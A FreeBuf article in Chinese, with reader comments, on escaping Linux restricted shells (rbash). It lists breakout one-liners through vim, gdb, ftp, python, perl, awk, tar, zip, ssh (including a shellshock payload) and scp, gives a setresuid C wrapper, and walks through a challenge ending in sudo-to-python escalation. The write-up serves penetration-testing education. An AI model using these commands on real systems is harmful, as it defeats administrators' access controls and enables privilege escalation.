*本文作者:zusheng,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
严正声明:本文涉及到的技术仅限于教育和讨论目的,严禁用于非法用途。
如今网络安全行业越来越规范,我们还想直接获取到未限制的shell是件很困难的事情,系统运维人员一般都会给Linux shell加上一些限制来防止入侵,通常会阻止运行某些特定的命令。
Restricted Shell既受限的shell,它与一般标准shell的区别在于会限制执行一些行为,比如:
使用 cd 来改变路径
设置或取消SHELL,PATH,ENV,或BASH_ENV变量的值
指定的命令名中包含/
我们可以先复制一个bash,然后设置某个用户登录后运行的shell:
cp /bin/bash /bin/rbash
useradd -s /bin/rbash zusheng
然后允许不允许什么命令,就可以自行修改了。
首先我们需要去检查Linux环境能做什么,这相当于一个收集情报的工作,这个步骤必不可少,有了情报才可以分析下一步骤该如何去做。
检查可用的命令:
如cd、ls、echo等
操作符:
>
>>
<
|
root身份运行哪些命令:
sudo -l
检查shell
echo $SHELL
基本上都是/bin/rbash
检查可用的编程语言,如python、perl、ruby等
运行env或者printenv
如果/被允许,我们可以直接运行:
允许:
如果cp命令被允许,我们可以直接复制/bin/bash到本用户目录:
允许:
探测系统中是否存在常见应用,如FTP、GDB等
FTP:
ftp > !/bin/sh
GDB:
gdb > !/bin/sh
man/git:
man > !/bin/sh
git > git help status
vim:
!/bin/sh 或者 !/bin/bash
允许情况下:
more/less
!'sh'
在一些编辑器或命令中我们还以为设置shell变量然后执行,比如vim中:
输入命令
export -p
查看
PATH和SHELL变量很可能是’-rx’,这意味着你只能执行不能写入,如果可写,你就可以直接写入/bin/bash。
python:
python -c 'import os; os.system("/bin/bash")'
php:
php -a then exec("sh -i");
perl:
perl -e 'exec "/bin/sh";'
lua:
os.execute('/bin/sh').
ruby:
exec "/bin/sh"
ssh:
ssh username@IP - t "/bin/sh" or "/bin/bash"
ssh2:
ssh username@IP -t "bash --noprofile"
ssh3:
ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
ssh4:
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
ZIP:
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
tar:
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
awk:
awk 'BEGIN {system("/bin/bash")}'
scp:
scp -S ./spellbash.sh 127.0.0.1:/tmp/z.zip ./
scp -S program: 指定加密传输时所使用的程序
我们这个spellbash.sh脚本功能就在于给shell加权限执行
shell代码如下:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
execve("/bin/bash", argv, envp);
return 0;
}
pico:
pico -s "/bin/bash"
然后输入/bin/bash按CTRL + T
针对于Linux Restricted Shell绕过技巧基本上是介绍到了,接下来就是灵活运用的问题,我这里选择了一个挑战来运用一下文中的一些技术。
连接上机器,经过一番信息收集,我们发现只有vim可以利用一下:
尝试
!/bin/bash
/bin/rbash: /bin/bash: restricted: cannot specify `/' in command names
继续尝试
set shell=/bin/bash
shell
可以发现我们成功绕过了rbash:
随后我们发现当前用户没有打开目标文件的权限,sudo -l查看一下能运行哪些命令
(app-script-ch14-2) NOPASSWD: /usr/bin/python
我们以app-script-ch14-2运行python,思路上面也提到了,可以利用python运行bash
/usr/bin/sudo -u app-script-ch14-2 /usr/bin/python -c 'import os; os.system("/bin/bash")'
继续sudo -l:
tar上面也总结过了:
接下来套路基本上一样不再演示了。
正如我们所看到的,总有一种办法来绕过受限制的shell,这里我介绍了常见的例子,但是安全技术的可能性是无穷无尽,希望更多人能分享一下技巧,最后感谢分享技术的黑客、安全研究人员,没有他们的分享就没有这篇文章。
*本文作者:zusheng,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
11月 上海
CIS 2019首席信息安全官闭门高峰论坛11月
CIS 2019议题抢先看10月
公开课双十一活动9月 上海
CIS 2019官网上线,早鸟票同步开售
已有 8 条评论
学习了 受益匪浅
很不错。
日常渗透中,受限命令行环境带来了两方面影响:一是命令注入时,很多命令无法使用,导致漏掉本来存在注入的洞;二是后渗透时,增加了提权和横向扩展的难度。
文中的部分思路可直接用于测试命令参数注入漏洞。
赞。
随后我们发现当前用户没有打开目标文件的权限,sudo -l查看一下能运行哪些命令
(app-script-ch14-2) NOPASSWD: /usr/bin/python
—————–
这不本身就有权限的嘛。。。
@ winterysea 文件没截图了,目标文件所属用户app-script-ch14-14
这个是原创的吗? 为啥内容和exploit db的一个paper基本一样啊,好歹加个 Link吧。
https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
@ Green_m 你自己确定是一样?文章看了吗?还有这个技术最早文章是2012年eskoudis,我参考了很多难道要一一列出吗?这个PDF也是收集总结了网络上的。你分享技术可以,我总结里也说了,帮助需要的人,这篇文章帮助到你就好,如果没有帮助到你,你可以看其他文章。
@ Green_m 感谢作者分享技术,这人就是杠精,你觉得他真的是在看文章学技术吗?
厉害了, 顶! 慢慢的对这个shell有感觉了.